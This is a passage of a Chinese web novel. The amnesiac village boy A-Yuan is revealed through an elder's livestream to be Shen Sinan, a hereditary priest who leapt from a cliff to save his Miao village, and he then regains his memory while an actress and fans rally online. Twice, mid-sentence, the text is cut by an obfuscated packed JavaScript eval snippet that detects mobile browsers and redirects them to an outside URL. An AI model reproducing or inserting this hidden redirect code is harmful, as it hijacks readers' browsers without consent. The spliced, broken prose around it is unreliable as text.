八卦号的评论区很快被黑粉占领，他们拿着这张唯一的旧照大做文章，试图将脏水泼向陈杬祝和阿怨： 【陈杬祝这是在蹭苗寨祭祀的热度吧？真是好手段！】 【阿怨怕不是故意装成这副软糯样子博同情吧？说不定骨子里就是个清冷的祭祀！】 【一张照片就能脑补出一部大戏，只能说陈杬祝团队的营销实在厉害！】 李诺言是第一个看到这条微博的粉丝，她几乎是瞬间就红了眼，不是因为震 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037604|194640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惊，而是因为愤怒。她立刻翻出自己手机里阿怨在苗寨的照片——那个举着萤石对着镜头笑的孩子，那个帮梨春梦摘月莲的孩子，那个在梨花园里追着蝴蝶跑的孩子。她将两张照片拼在一起，发在微博上，配文：【不过是眉眼相似的一张旧照！阿怨就是阿怨，是苗寨里被许祭守护、被杬祝姐姐心疼的孩子！无关什么祭祀，他只是我们最爱的阿怨！】 秦淑、余霓霓和纪采薇几乎是同时响应。秦淑熬了一夜，画出了一幅对比图，左边是旧照里肃穆的少年祭祀，右边是苗寨里软糯的阿怨，中间用一条萤石溪流连接，溪流上漂浮着月莲与祭笛，配文：【眉眼相似，灵魂不同。阿怨的温柔，是苗寨的月光与溪流养出来的，与过往无关！】余霓霓第一时间联系后援会，发布了严正声明，呼吁粉丝不信谣、不传谣，一张照片说明不了任何问题，守护好阿怨和陈杬祝才是最重要的。纪采薇则以理性的口吻，科普了「人类面部特征相似性的概率」，委婉地表示，仅凭一张照片就下定论，实在太过草率。 苗寨的梨花园，在清晨的微光里渐渐苏醒。 阿怨是被许祭的手机提示音吵醒的，他揉着惺忪的睡眼，趴在许祭的肩头，好奇地问：「许祭哥哥，怎么这么多消息啊？」 许祭的脸色早已沉得像墨，他迅速将手机屏幕按灭，指尖却控制不住地微微颤抖。他低头看向怀里的阿怨，那张软糯的小脸，与照片里那个穿着玄色祭服、眼神肃穆的少年渐渐重叠，又渐渐分开。他喉结滚动了几下，最终只是轻轻拍了拍阿怨的背，声音沙哑：「没事，是一些无关紧要的消息。」 可阿怨还是敏锐地察觉到了不对，他揪着许祭的衣角，小声问：「是不是和我有关？」 就在这时，梨春梦匆匆走来，手里拿着一部老旧的手机，屏幕上正是那张被疯传的旧照。她的脸色凝重，看着许祭，又看了看阿怨，最终叹了口气：「外面的消息，压不住了。老蛊婆说，让你带着阿怨过去一趟。」 阿怨的目光落在手机屏幕上，当看到那张旧照时，他小小的身子突然一僵，像是被什么东西狠狠击中。他的眉头紧紧皱起，脑袋里像是有无数碎片在疯狂冲撞，一些模糊的画面一闪而过——祖祠里的香火，一支冰凉的祭笛，还有族人跪拜的身影。 「头……好痛……」阿怨捂着脑袋，疼得眼泪瞬间涌了出来，他紧紧抓着许祭的衣服，声音里带着浓浓的哭腔，「许祭哥哥，我头好痛……我好像见过他……又好像不认识……他是谁啊……我是阿怨……」 许祭的心像是被一只手狠狠攥住，疼得他几乎喘不过气。他立刻将阿怨紧紧抱进怀里，一手护着他的头，一手轻轻拍着他的背，声音里带着前所未有的坚定：「他是谁不重要，你是阿怨，是我的阿怨，是苗寨的阿怨。有我在，没人能伤害你。」 梨春梦看着这一幕，眼底满是心疼。她转身走到回廊边，拿出手机，在那个八卦号的微博下评论，文字里带着苗寨儿女的强硬：「一张旧照，不足为证。阿怨是苗寨的孩子，是我们用艾草和糯米茶养大的孩子。谁要是敢拿一张照片来打扰他的平静，苗寨的人，绝不答应！」 远在片场的陈杬祝，是被楒微微哭着叫醒的。当她看到那张旧照时，手里的剧本「啪」地掉在地上，娜卡塔榙的台词散了一地。她的脑海里瞬间闪过自己那条@阿怨的微博，闪过许祭那条带着执念的回复，心脏像是被一只无形的手紧紧攥住。 她没有丝毫犹豫，立刻拿起手机，登录自己的微博。这一次，她没有发温柔的文字，也没有发虐心的感慨，只是简单粗暴地转发了那个八卦号的微博，配文只有一句话，却带着雷霆万钧的气势：「一张相似的旧照，不是你们博眼球的工具。我的阿怨，只是苗寨的阿怨。再敢造谣，法庭见。」 微博发出的瞬间，全网寂静。 没有人想到，一向温柔的陈杬祝，会说出如此强硬的话。 而苗寨的祖祠里，老蛊婆拄着拐杖，看着被许祭抱在怀里、疼得浑身发抖的阿怨，眼底满是沧桑。她缓缓伸出手，抚摸着阿怨的头顶，声音里带着古老的韵律：「孩子，别害怕。一张照片，带不走你的温柔，也加不到你的身上任何枷锁。苗寨，永远是你的家。」 阿怨抬起满是泪水的脸，看着老蛊婆，又看了看许祭，最终将脸埋进许祭的怀里，呜咽着说：「我是阿怨……我只要做阿怨……」 许祭紧紧抱着他，抬头望向祖祠外的天空。阳光渐渐升起，洒在萤石溪流上，泛着温暖的蓝光。他的眼底闪过一丝决绝，手指缓缓划过手机屏幕，最终停留在一个尘封已久的相册上——那里，藏着苗寨不为人知的过往，却唯独没有阿怨的名字。 一张照片，终究是掀起了轩然大波。 但他许祭，定会护着阿怨，护着他的软糯与温柔，护着他的全世界，直到最后一刻。 老蛊婆的直播没有任何预告，是在梨春梦的协助下，用一部老旧的智能手机临时开启的。直播间的封面没有花哨的特效，只有苗寨祖祠前那棵老梨树，枝头挂着几朵刚开的月莲，标题简单得只有五个字：「说说阿怨的事」。 直播刚一上线，瞬间就涌入了几十万观众。原本还在各大平台争论阿怨与旧照少年关系的网友，像是被一股无形的力量牵引，纷纷涌入这个画质模糊、甚至带着些许杂音的直播间。弹幕瞬间刷屏，有好奇，有质疑，也有粉丝们带着忐忑的守护。 镜头里，老蛊婆拄着那根雕满萤石图腾的拐杖，端坐在祖祠的木椅上。她穿着苗寨传统的藏青色布衣，头发用一根银簪挽起，脸上的皱纹里刻着岁月的沧桑，眼神却依旧清亮而坚定。梨春梦站在镜头侧后方，手里端着一杯温热的糯米茶，安静地守着。 老蛊婆没有急着开口，只是缓缓抬起手，轻轻摩挲着身前香案上的一支旧祭笛。那支祭笛的竹身已经泛出温润的包浆，笛身上的萤石镶嵌早已失去了往日的光泽，却在直播间的微光里，透着一股岁月沉淀的厚重。 弹幕的节奏渐渐慢了下来，所有人都在等待着老蛊婆的开口。 终于，老蛊婆的声音透过手机扬声器传了出来，带着苗寨口音的普通话，缓慢而清晰：「我知道，外面都在传阿怨的事，传那张旧照。今天开这个直播，不是为了辟谣，也不是为了博眼球，只是想给大家说说，我们苗寨的阿怨——也是我们苗寨的沈司南。」 这句话像一颗定音石，瞬间让沸腾的弹幕安静了几分。 老蛊婆的指尖依旧停留在祭笛上，眼神飘向了祖祠外的梨花园，像是能透过时光，看到那个既曾手握祭笛、也曾抱着萤石蹦蹦跳跳的身影：「阿怨就是沈司南，沈司南就是阿怨。这不是两个名字，是同一个孩子的两段人生。二十岁之前，他是沈司南，是苗寨最后一任世袭祭祀。」 「从十二岁接过祭笛，到二十岁跳崖护寨，整整八年的时光，他都在为苗寨而活。」老蛊婆的声音里带着一丝难以言喻的沉重，「从小没了爹娘，是全寨人捧在手心里养大的。可祭祀的身份，是与苗寨共存亡的誓言。十二岁的孩子，本该在梨花园追蝴蝶、在萤石溪捞石头，却要天不亮就沐浴净身，跟着我学仪轨、背经文，握着冰冷的祭笛，扛起守护整个苗寨的重担。」 「这八年里，他没有过过一天真正属于自己的日子。」老蛊婆的语气里满是疼惜，「大旱之年，他在祖祠里跪三天三夜祈福，嘴唇裂得淌血，手指磨得见骨；寒冬腊月，他在萤石溪里沐浴净身，只为完成一年一度的祭祀大典；寨里的孩子围着他喊『司南哥哥』，他却连陪他们玩一会儿的时间都没有——他是祭祀，是苗寨的守护神，不能有半分懈怠。」 她的语气陡然一沉，握着拐杖的手不自觉地收紧，指节泛白，眼底的温柔被刻骨的心疼与愤怒取代：「他二十岁那年的深秋，兰榙一族的人，带着对萤石的贪婪和对苗寨的怨毒，闯了进来。」老蛊婆的声音里带着咬牙切齿的恨意，「兰榙的人，心狠手辣，他们不仅要挖走我们的萤石矿，还要放火烧了我们的梨花园，拆了我们的吊脚楼，将我们苗寨的人赶尽杀绝，占了我们世世代代居住的土地！」 「那些兰榙的人，手里拿着锋利的兵器，身上带着易燃的火油，所到之处，一片狼藉。我们寨里的青壮拼了命抵抗，可哪里是这些训练有素的恶人的对手？不断有人倒下，不断有房屋被点燃，苗寨的核心区域眼看就要被攻破，全寨人的性命都悬在了一线。」 「危急关头，司南突然推开护着他的族人，抱着那支跟了他八年的祭笛，冲到了断魂崖边——那是苗寨的命脉所在，也是兰榙之人进入核心区域的最后一道屏障，更是我们苗寨祭祀与天地对话、以命护寨的圣地。」 「我永远记得那天的场景。」老蛊婆的声音开始颤抖，泪水终于从眼角滑落，砸在身前的香案上，「司南站在崖边，身后是滚滚浓烟和族人的哭喊，身前是步步紧逼、眼神贪婪的兰榙恶人。他那时刚满二十岁，正是该鲜衣怒马、意气风发的年纪，却穿着一身玄色祭服，脸上没有半分惧色。他高高举起那支祭笛，用带着决绝的声音嘶吼：『兰榙的贼人！这是苗寨的土地，你们敢再前进一步，我便带着祭笛跳下去！祭祀魂散，萤石永寂，你们什么都别想得到！』」 「兰榙的人根本不信一个二十岁的青年真的敢轻弃性命，他们叫嚣着『一个祭祀的命，换整个苗寨的萤石，值了！』依旧往前冲。为了保护苗寨，为了守护全寨人的性命和家园，为了不让兰榙的贼人得逞，我们的司南，没有半分犹豫，转身就跳进了断魂崖的深渊。」 「他的身影刚消失在崖边，我便疯了似的冲下断魂崖的缓坡——我是看着他长大的，我不信我的孩子就这么没了！」老蛊婆的哭声终于忍不住溢出喉咙，「就在崖底的浅滩上，我看到了他。浑身是血，骨头断了不知道多少根，那支祭笛被他紧紧护在怀里，手里还攥着一块从崖壁上脱落的萤石。他那时还有一口气，微弱得像风中的烛火，嘴里只断断续续地喊着『苗寨……平安……』」 「兰榙的人见司南真的跳了崖，又听寨里的老人跟着我喊『祭祀魂散萤石永寂』，果然不敢再深入，骂骂咧咧地退了出去。我们的苗寨，就这样被司南用性命赌来了平安。」老蛊婆的泪水越流越凶，「我抱着奄奄一息的司南，连滚带爬地回到寨里。全寨的人都动了起来，采来最珍贵的草药，守着他熬了一天又一天。」 「他活下来了，可他忘了一切。」老蛊婆的声音突然软了下来，眼底的泪水里，漾起一层温柔的涟漪，「他忘了自己是沈司南，忘了八年的祭祀生涯，忘了二十岁那年兰榙闯寨的血腥，忘了自己跳崖护寨的决绝，甚至忘了我是谁。他瘦得只剩下一把骨头，醒来后只会睁着一双懵懂的眼睛看我，手里却还紧紧攥着那块萤石，嘴里只知道断断续续地喊着『疼』。」 「我们就叫他阿怨。」老蛊婆的声音里带着一丝宠溺，「不是埋怨的怨，是我们苗寨人对孩子的爱称，是说他是我们捧在手心的宝贝。全寨的人都心照不宣，没有人再提沈司南，没有人再提祭祀的责任，没有人再提兰榙的恶行。我们只想让他做个无忧无虑的阿怨，做个不用再守护谁、只需要被守护的孩子。」 「你们见过阿怨吗？」老蛊婆突然抬起头，直视着镜头，眼神里满是骄傲，「他会帮梨春梦摘月莲，会把串好的萤石手链分给寨里的小娃娃，会在许祭忙的时候，安安静静地坐在一旁等着，会对着陈杬祝姑娘露出最软糯的笑容。他的手，不再只是用来握冰冷祭笛的，更是用来抓萤石、摘鲜花的；他的肩膀，不再只是用来扛祭祀重担的，更是用来靠在许祭怀里撒娇的。」 「我们苗寨的人，看着阿怨一天天长大，看着他从那个连路都走不稳的小可怜，变成了会笑着喊我们『婆婆』『姐姐』的乖孩子。」老蛊婆的声音带着一丝哽咽，却依旧铿锵有力，「我们从来都没有忘记，他是沈司南，是那个二十岁为了对抗兰榙、守护苗寨而奋不顾身跳崖的英雄；但我们更珍惜，他是阿怨，是那个被我们用糯米茶和艾草养大的、无忧无虑的孩子。」 她的声音突然变得坚定，带着不容置疑的决绝与护犊之情：「外面的人，拿着一张旧照，就想把我们的阿怨，重新拉回那个充满了血与火的过去。可我要告诉你们，阿怨就是沈司南，沈司南就是阿怨。但苗寨的祭祀，可以没有沈司南，却不能没有阿怨！」 「我们苗寨的人，不在乎什么世袭祭祀的身份。我们只在乎那个会帮梨春梦摘月莲、会对着陈杬祝笑、会紧紧抓着许祭衣角的孩子。」老蛊婆的目光扫过镜头，带着苗寨人独有的威严，「更要告诉那些藏在暗处的兰榙余孽——当年司南跳崖护寨，你们没能得逞；如今谁敢再来打扰阿怨的平静，敢再伤害我们苗寨的一分一毫，我们苗寨的人，就算拼尽性命，也绝不会放过你们！」 直播的最后，老蛊婆拿起那支旧祭笛，放在唇边，吹了一段古老的旋律。那旋律没有激昂的节奏，只有淡淡的温柔，像是苗寨的月光，又像是萤石溪流的水声。弹幕里的争论早已消失不见，取而代之的是满屏的「心疼阿怨」「守护苗寨」「兰榙太可恶」，还有无数粉丝自发刷起的「阿怨要永远快乐」。 直播结束后，#老蛊婆阿怨就是沈司南# #二十岁跳崖抗兰榙# #苗寨的温柔守护# 三个话题瞬间冲上热搜榜首。网友们的态度发生了一百八十度的大转弯，之前的质疑与揣测，全都变成了对阿怨的心疼、对苗寨的敬重，以及对兰榙一族的愤怒，那些黑粉的言论，瞬间被淹没在一片温情与声讨的声浪里。 李诺言看着直播回放，眼泪早已打湿了屏幕，连卫衣的袖口都浸得透湿。她立刻发了一条微博，配文：「原来阿怨就是沈司南！那个二十岁跳崖对抗兰榙、守护苗寨的英雄，跳崖后被婆婆亲手救下，却失去了所有记忆！兰榙太可恶了！我们也要像苗寨一样，拼尽全力守护好我们的阿怨！」 秦淑、余霓霓和纪采薇也纷纷转发，秦淑还附上了一幅刚画好的画——左边是穿着玄色祭服、手握祭笛站在断魂崖边的沈司南，眉目间是二十岁的决绝与坚定；右边是老蛊婆抱着浑身是伤的沈司南，背景是泛着蓝光的萤石浅滩，而最右侧，是抱着萤石手链、在梨花园里笑的阿怨，身边是许祭的身影。配文：「沈司南是二十岁抗兰榙的英雄，阿怨是被婆婆和苗寨温柔守护的宝贝。痛已成过往，温柔才是归宿。」 远在片场的陈杬祝，是在拍摄间隙看完直播回放的。她靠在保姆车的座椅上，手里握着手机，眼泪无声地滑落，打湿了剧本上娜卡塔榙的台词。她终于明白，为什么自己会说「娜卡塔榙的痛没有你痛」——沈司南用二十岁的青春与性命对抗兰榙、守护苗寨，跳崖后九死一生却失去记忆，阿怨带着破碎的身体与空白的记忆被温柔包裹，那份痛，是英雄的壮烈与孩子的懵懂交织，比任何角色的苦难都更让人心碎。 她没有发微博，只是给阿怨发了一条微信：「阿怨，别怕，姐姐永远站在你这边。你是沈司南，是二十岁跳崖抗兰榙的勇敢英雄；你也是阿怨，是我们所有人的小宝贝。以后的日子，再也不会有痛苦了。」 而苗寨的梨花园里，阿怨正靠在许祭的怀里，手里攥着一串刚串好的萤石手链。他没有看直播，却从许祭紧抿的唇线里，从梨春梦泛红的眼眶里，感受到了什么。他抬起头，看着许祭，声音带着浓浓的鼻音，小声问：「许祭哥哥，婆婆是不是很早就认识我了？」 许祭轻轻摸了摸他的头，将他更紧地搂进怀里，声音温柔而坚定，带着不容错辨的宠溺与决绝：「是，婆婆看着你长大，看着你从一个小英雄，变成了我们最爱的阿怨。现在的你，有我，有老蛊婆，有梨春梦姐姐，有整个苗寨，还有杬祝姐姐，我们会永远守护你，再也不让你受半点委屈。」 老蛊婆站在祖祠的门口，看着梨花园里的两个身影，缓缓放下了手里的祭笛。阳光洒在她的身上，也洒在苗寨的每一个角落，萤石溪流泛着温暖的蓝光，月莲在岸边静静绽放。 阿怨就是沈司南的秘密，终究是被说了出来。 但苗寨的人，会永远守护着阿怨，守护着这个孩子的温柔与软糯，守护着他的全世界。而那些曾经伤害过他的兰榙余孽，也终将为当年的恶行，付出应有的代价。 18. 回忆 梨花园的月光，碎在萤石溪流上，泛着一层冷冽的蓝光。 阿怨靠在许祭怀里，指尖无意识地摩挲着那串萤石手链，链身的棱角硌着掌心，像极了老蛊婆直播里那些没说透的细节。许祭的心跳沉稳，一下下撞在他的耳侧，可他却觉得那声音越来越远，远得像隔了一层厚重的雾。 “许祭哥哥，”他的声音轻飘飘的，带着一丝不易察觉的颤抖，“婆婆说的那个……跳崖的英雄，真的是我吗？” 许祭的手臂猛地一僵，搂紧他的力道陡然加重，声音里带着刻意的温柔，却掩不住那份慌乱：“阿怨，那是过去的事了。我们不用想，好不好？” 可有些记忆，一旦被撕开一道口子，便会如潮水般汹涌而来。 阿怨的视线落在溪流边那棵老梨树上，树影婆娑，突然就和记忆里断魂崖边的浓烟重叠。耳边是族人的哭喊，是兰榙之人的叫嚣，是风掠过耳际的呼啸——还有自己二十岁那年，带着决绝的嘶吼：“兰榙的贼人！你们敢再前进一步，我便带着祭笛跳下去！” 掌心的萤石手链，瞬间变成了那支跟了他八年的祭笛。竹身的包浆温润，笛身上的萤石镶嵌透着寒气，他甚至能清晰地感受到，当年自己是如何将它紧紧护在怀里，如何在崖底的浅滩上，攥着一块萤石，断断续续地喊着“苗寨……平安……” 老蛊婆抱着他时的温度，草药的苦涩气息，全寨人守着他熬日夜的灯火……一幕幕，像快进的画面，在他脑海里疯狂闪过。 他是沈司南。 是苗寨最后一任世袭祭祀。 是十二岁接过祭笛，从此再也没有过过一天属于自己日子的沈司南。是大旱之年跪三天三夜祈福，嘴唇裂得淌血也不肯停下的沈司南。是寒冬腊月在萤石溪里沐浴净身，冻得浑身发紫却依旧挺直脊梁的沈司南。 也是二十岁那年，为了对抗兰榙，为了守护苗寨，义无反顾跳下断魂崖的沈司南。 记忆的碎片终于拼合完整的那一刻，阿怨的身体剧烈地颤抖起来。他不是忘了一切，他是把那些痛苦、那些责任、那些壮烈，全都藏在了心底最深处，藏到连自己都骗了过去。 “啊——！” 一声凄厉的痛呼，从他喉咙里挤出来。他猛地推开许祭，抱着头蹲在地上，身体蜷缩成一团。头骨像是要被生生劈开，每一道神经都在叫嚣着疼痛，那些被遗忘的画面，带着血与火的温度，灼烧着他的每一寸肌肤。 “我想起来了……”他的声音破碎不堪，泪水汹涌而出，砸在萤石手链上，溅起细小的水花，“我想起来了！我是沈司南！我是苗寨的祭祀！我跳了崖……我用自己的命，换了苗寨的平安……” 许祭慌了神，立刻蹲下身，想要将他拥入怀中，却被阿怨猛地推开。他抬起头，那双往日里总是盛满软糯笑意的眼睛，此刻只剩下刻骨的痛苦与茫然。 “可我也是阿怨啊……”他看着许祭，眼神里带着一丝绝望的质问，“我是那个会帮梨春梦摘月莲，会把萤石手链分给寨里小娃娃，会靠在你怀里撒娇的阿怨啊！沈司南和阿怨，到底哪个才是我？” 许祭的心像是被一只手狠狠攥住，疼得他几乎喘不过气。他伸出手，小心翼翼地触碰着阿怨的脸颊，指腹擦过他的泪水，声音沙哑得不成样子：“都是你。沈司南是你，阿怨也是你。无论你是谁，你都是我最爱的那个孩子。” “不……”阿怨摇着头，视线落在不远处祖祠的方向，那里有老蛊婆的身影，有那支旧祭笛，“沈司南的肩上，扛着苗寨的命运。他不能哭，不能撒娇，不能有半分懈怠。可阿怨……阿怨只是个被大家宠着的宝贝啊。” 他的指尖缓缓抚上自己的脖颈，那里似乎还残留着当年跳崖时的剧痛。他想起老蛊婆说的，全寨人如何用珍贵的草药救他，如何心照不宣地不提沈司南的名字，如何把他宠成了无忧无虑的阿怨。 他们不是忘了，他们是舍不得。 舍不得让他再回到那个充满血与火的过去，舍不得让他再扛起那份沉甸甸的责任，舍不得让他们的阿怨，再变成那个为了苗寨连性命都可以舍弃的沈司南。 “婆婆……”阿怨的声音带着浓浓的鼻音，朝着祖祠的方向伸出手，“梨春梦姐姐……全寨的人……” 就在这时，老蛊婆的身影出现在梨花园的入口。她拄着那根雕满萤石图腾的拐杖，步伐缓慢，却带着一股不容错辨的坚定。梨春梦跟在她身后，眼眶通红，手里端着一杯温热的糯米茶。 老蛊婆走到阿怨面前，缓缓蹲下身。她没有说话，只是伸出手，轻轻抚摸着他的头顶，动作和当年他刚醒来时，一模一样。 “司南。”她的声音很轻，却带着岁月沉淀的厚重，“我的孩子，你终于想起来了。” 这一声“司南”，像是一道惊雷，劈开了阿怨心底最后一道防线。他再也忍不住，扑进老蛊婆的怀里，放声大哭。 “婆婆！我想起来了！我全都想起来了！”他的哭声里，有痛苦，有茫然，有委屈，还有一丝连自己都没察觉的释然，“我是沈司南！我是您的司南啊！” 老蛊婆轻轻拍着他的背，泪水无声地滑落，砸在他的发顶。“是，你是司南，是我的司南。”她的声音里带着哽咽，却依旧坚定，“可你也是阿怨，是我们苗寨所有人的阿怨。” 许祭站在一旁，看着相拥而泣的两人，眼底的痛苦渐渐被温柔取代。他走到阿怨身边，缓缓蹲下身，将他和老蛊婆一起拥入怀中。 “司南，”他的声音温柔而坚定，“无论你是沈司南，还是阿怨，我都会守着你。苗寨也会守着你。” 梨春梦端着糯米茶，走到他们身边，声音带着哭腔，却透着一股暖意：“司南哥哥，不，阿怨……这杯糯米茶，还是你最喜欢的味道。” 阿怨抬起头，看着老蛊婆布满皱纹的脸，看着许祭眼中的温柔，看着梨春梦泛红的眼眶。月光洒在他们身上，也洒在苗寨的每一个角落。萤石溪流的蓝光，不再冷冽，反而透着一股温暖的光泽。 他是沈司南。 也是阿怨。 是那个二十岁跳崖护寨的英雄，也是那个被苗寨用糯米茶和艾草养大的宝贝。 记忆的痛苦还在，责任的重量也还在。 但这一次，他不再是一个人。 他的身后，有老蛊婆，有许祭，有梨春梦，有整个苗寨。 还有远在片场，正隔着屏幕为他心疼的陈杬祝。 阿怨伸出手，紧紧握住许祭的手，又反手抓住老蛊婆的拐杖，指尖的萤石手链与拐杖上的图腾相触，发出清脆的声响。 “我想起来了。”他的声音不再破碎，带着一丝决绝，也带着一丝温柔，“我是沈司南，也是阿怨。从今往后，我既要做守护苗寨的沈司南，也要做被大家宠着的阿怨。” 老蛊婆的眼泪落得更凶，却露出了一抹欣慰的笑容。 许祭的眼底，是化不开的温柔与坚定。 梨花园的月光，依旧碎在萤石溪流上。 只是这一次，那蓝光里，藏着英雄的壮烈，也藏着宝贝的温柔。 藏着一个孩子，失而复得的，完整的人生。 陈杬祝的微博没有任何预热，是在片场休息的间隙，指尖带着剧本上未干的泪痕，一字一顿敲出来的。 她没有配复杂的图片，只选了一张深夜的片场天空——墨蓝色的幕布上，挂着一弯和苗寨梨花园里一模一样的月牙，月光清浅，却足够温柔。 文案只有短短一句话，却带着穿透屏幕的颤抖与心疼： 司南你想起来了…… 末尾没有加任何表情，没有多余的赘述，甚至连一个标点符号都没有多添，可那六个字里的百转千回，却瞬间击中了所有看到这条微博的人。 微博发出的瞬间，评论区便被瞬间刷屏。 粉丝们早已从老蛊婆的直播里知晓了前因后果，此刻看到陈杬祝的这条微博，瞬间明白了什么，心疼的情绪汹涌而出： 「杬祝姐姐！是不是阿怨……是不是司南想起来了？」 「那六个字看得我眼泪瞬间掉下来！姐姐一定比谁都心疼吧！」 「司南终于记起了一切，可那些痛苦的记忆，该有多难熬啊！」 「阿怨是宝贝，司南是英雄，可无论是哪个，都值得被全世界温柔对待！」 之前那些质疑的、揣测的声音，早已消失得无影无踪。取而代之的，是全网对沈司南的心疼，对阿怨的守护，以及对陈杬祝这份无声牵挂的动容。 #陈杬祝 司南你想起来了# #沈司南记忆复苏# #阿怨司南# 三个话题瞬间冲上热搜，服务器在短时间内再次陷入波动。 没有人知道，陈杬祝在发出这条微博后，便将手机紧紧攥在手心，指尖冰凉。她靠在保姆车的座椅上，脑海里闪过的，是娜卡塔榙的苦难，是自己说过的「娜卡塔榙的痛没有你痛」，是老蛊婆直播里那个二十岁跳崖护寨的沈司南，是梨花园里那个抱着萤石手链笑的阿怨。 她终于明白，为什么自己会对这个素未谋面的孩子，有着如此深切的心疼。 那是英雄的壮烈与孩子的软糯，在同一个灵魂里交织，是被尘封的记忆与被守护的温柔，在时光里碰撞，那份痛，比任何角色的苦难，都更让人心碎。 而远在苗寨梨花园里的沈司南，正靠在许祭的怀里，老蛊婆的手轻轻抚着他的头顶。梨春梦端来的糯米茶还冒着热气，萤石溪流的蓝光，在月光下泛着温暖的光泽。 许祭的手机屏幕亮了一下，是陈杬祝的微博推送。 他低头看了一眼，然后将手机递到沈司南的面前，声音温柔得能滴出水来：「阿怨，你看，杬祝姐姐给你发微博了。」 沈司南抬起满是泪痕的脸，视线落在那行字上——司南你想起来了…… 他的睫毛轻轻颤了颤，脑海里闪过的，是陈杬祝发来的那条微信：「阿怨，别怕，姐姐永远站在你这边。」 原来，她记得。 记得他是沈司南，也记得他是阿怨。 「杬祝姐姐……」他的声音破碎不堪，却带着一丝不易察觉的暖意，「她知道……她知道我想起来了。」 老蛊婆看着他，眼底的泪水渐渐化作了温柔的笑意：「是啊，孩子。不光是杬祝姐姐，还有全寨的人，还有那些守护你的粉丝，他们都知道。他们都在等你，等你既做沈司南，也做阿怨。」 沈司南伸出手，紧紧攥住了许祭的手，也攥住了那串萤石手链。 月光洒在他的身上，也洒在苗寨的每一个角落。 他是沈司南，是苗寨的祭祀，是二十岁跳崖护寨的英雄。 他也是阿怨，是苗寨的宝贝，是被所有人温柔守护的孩子。 而陈杬祝的那条微博，就像一颗投入湖面的石子，在全网掀起了层层涟漪。 那涟漪里，藏着心疼，藏着守护，藏着一个女孩，对一个素未谋面的孩子，最无声也最深情的牵挂。 苗寨的祖祠前，香雾袅袅，玄色的祭旗在风里猎猎作响。 这是沈司南恢复记忆后，第一次以世袭祭祀的身份，主持苗寨最高规格的祈福大典。 他身着绣满萤石图腾与缠枝莲纹的玄色祭服，衣摆长及脚踝，走动间带起一阵清浅的风。头上的祭冠缀满银饰，随着他的步伐轻轻摇曳，发出细碎的声响。那支跟了他八年的祭笛，被他稳稳握在手中，竹身的包浆在香烛的映照下，泛着一层温润的光。 与二十岁那年的决绝不同，此刻的沈司南，眉眼间既有祭祀的肃穆与威严，又藏着一丝阿怨独有的软糯与温柔。他站在祖祠的香案前，身后是跪拜的全寨族人，老蛊婆拄着拐杖站在最前方，许祭则守在离他三步远的位置，目光寸步不离地锁着他的身影。 吉时已到。 沈司南深吸一口气，抬手将祭笛凑到唇边。古老的旋律从笛孔中流淌而出，没有激昂的节奏，却带着一股穿透人心的力量。那旋律里，有苗寨千年的岁月，有族人世代 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037605|194640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的守护，有他作为沈司南的责任，也有他作为阿怨的眷恋。 他的声音清晰而沉稳，带着祭祀独有的韵律，在祖祠前回荡：“维今日吉时，苗寨祭祀沈司南，谨以清酒庶羞，祭告天地山川，祖灵先圣……” 每一句经文，都从他心底流淌而出。大旱之年的祈福，寒冬腊月的净身，二十岁跳崖的决绝，醒来后失去记忆的懵懂，被苗寨温柔守护的日夜……一幕幕，都化作了他诵经时的力量。 与此同时，陈杬祝的直播间，在全网的期待中准时开启。 直播间的封面，是她亲手画的一幅简笔画——左边是身着祭服、手握祭笛的沈司南，右边是抱着萤石手链、笑得软糯的阿怨，中间是一弯月牙，一条溪流，一棵老梨树。标题只有八个字：「司南祭典，与君共守」。 直播刚一上线，在线人数便瞬间突破千万。弹幕里没有了往日的喧嚣，只剩下满屏的「安静守护」「司南平安」「苗寨顺遂」。 陈杬祝没有露脸，镜头只对着她面前的手机屏幕——屏幕上，是苗寨那边传来的实时画面，沈司南站在祖祠前，身姿挺拔，宛如一幅古老的画卷。 她的声音透过扬声器传出来，温柔而低沉，带着一丝不易察觉的哽咽：“大家好。今天，我们不聊工作，不聊剧本。我们只一起，守护一个叫沈司南的孩子。” “他是苗寨的世袭祭祀，是二十岁跳崖护寨的英雄。”陈杬祝的目光落在手机屏幕上的沈司南身上，眼神里满是心疼与骄傲，“他也是阿怨，是被苗寨用糯米茶和艾草养大的宝贝，是会对着萤石溪流笑，会靠在许祭怀里撒娇的孩子。” “今天，他以沈司南的身份，完成他作为祭祀的使命。但他永远也是我们的阿怨。” 直播间的弹幕，瞬间被「司南加油」「阿怨最棒」「守护司南，守护阿怨」刷屏。 镜头里的沈司南，依旧在专注地主持祭典。他抬手，将清酒洒向大地；他俯身，将祭品摆上香案；他转身，对着跪拜的族人深深鞠躬。每一个动作，都标准而肃穆，却又在细节处，透着一丝属于阿怨的温柔。 当祭典进行到最高潮，沈司南再次举起祭笛，吹奏起那首苗寨最古老的祈福曲。旋律响起的那一刻，祖祠前的香雾突然升腾而起，萤石溪流的蓝光，在月光下泛着一层奇异的光泽。 寨里的老人说，这是祖灵显圣，是对沈司南的认可。 陈杬祝的声音，也在这一刻响起，与笛音遥遥相和：“司南，你看。有老蛊婆，有许祭，有梨春梦姐姐，有整个苗寨，还有我们。我们都在。” “你不用再一个人扛着所有。你是祭祀，也是孩子。你可以守护苗寨，也可以被我们守护。” 